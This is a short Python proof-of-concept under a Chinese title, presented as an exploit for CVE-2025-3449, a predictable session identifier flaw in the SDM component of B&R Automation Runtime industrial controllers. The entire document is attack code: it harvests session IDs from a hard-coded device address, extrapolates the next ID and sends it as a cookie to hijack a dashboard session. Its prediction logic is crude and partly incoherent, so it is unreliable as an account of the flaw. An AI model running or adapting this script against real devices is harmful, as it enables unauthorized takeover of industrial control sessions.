CVE-2025-3449 B&R Automation Runtime SDM组件会话劫持漏洞

# CVE-2025-3449 PoC - B&R Automation Runtime SDM Session Hijacking # Vulnerability: Predictable Session Identifier Generation in SDM Component # Affected: B&R Automation Runtime versions before 6.4 import requests import re from collections import deque TARGET_HOST = "192.168.1.100" # Target B&R Automation Runtime device TARGET_PORT = 443 # SDM service port SDM_PATH = "/sdm" # SDM component path def discover_session_ids(num_samples=5): """ Collect multiple session IDs by triggering new sessions and observing the predictable patterns in the identifiers. """ session_ids = [] for i in range(num_samples): # Initiate a new session to obtain a session ID resp = requests.get( f"https://{TARGET_HOST}:{TARGET_PORT}{SDM_PATH}/login", verify=False, timeout=10 ) # Extract session ID from response headers or cookies sid = resp.cookies.get("SESSIONID", "") if not sid: sid_match = re.search(r'session[_-]?id[=:]\s*([\w\-]+)', resp.text, re.IGNORECASE) if sid_match: sid = sid_match.group(1) if sid: session_ids.append(sid) print(f"[+] Collected Session ID {i+1}: {sid}") return session_ids def analyze_pattern(session_ids): """ Analyze collected session IDs to identify the predictable random number generation algorithm (e.g., LCG, timestamp-based). """ print("\n[*] Analyzing session ID patterns...") # Convert session IDs to numeric values if possible numeric_ids = [] for sid in session_ids: try: numeric_ids.append(int(sid, 16) if all(c in '0123456789abcdef' for c in sid.lower()) else int(sid)) except ValueError: numeric_ids.append(hash(sid)) # Check for linear congruential generator pattern: X(n+1) = (a*X(n) + c) mod m if len(numeric_ids) >= 3: differences = [numeric_ids[i+1] - numeric_ids[i] for i in range(len(numeric_ids)-1)] print(f"[+] Differences between consecutive IDs: {differences}") # Attempt to find LCG parameters if len(differences) >= 2: ratio_a = differences[1] / differences[0] if differences[0] != 0 else 0 print(f"[+] Estimated multiplier (a): {ratio_a}") return numeric_ids def predict_next_session_id(numeric_ids): """ Predict the next session ID based on the identified pattern. """ if len(numeric_ids) < 2: return None # Simple LCG prediction diff = numeric_ids[-1] - numeric_ids[-2] predicted = numeric_ids[-1] + diff print(f"\n[+] Predicted next session ID (numeric): {predicted}") return predicted def session_hijack(predicted_sid): """ Attempt to hijack a session using the predicted session ID. """ cookies = {"SESSIONID": hex(predicted_sid)[2:] if predicted_sid else ""} print(f"\n[*] Attempting session hijack with predicted ID...") resp = requests.get( f"https://{TARGET_HOST}:{TARGET_PORT}{SDM_PATH}/dashboard", cookies=cookies, verify=False, timeout=10 ) if resp.status_code == 200 and "dashboard" in resp.text.lower(): print(f"[+] SUCCESS! Session hijacked! Access granted.") return True else: print(f"[-] Session hijack failed. Status: {resp.status_code}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-3449 - B&R Automation Runtime SDM Session Hijack PoC") print("=" * 60) # Step 1: Collect session ID samples sids = discover_session_ids(num_samples=5) # Step 2: Analyze the pattern numeric_ids = analyze_pattern(sids) # Step 3: Predict next session ID predicted = predict_next_session_id(numeric_ids) # Step 4: Attempt session hijack if predicted: session_hijack(predicted)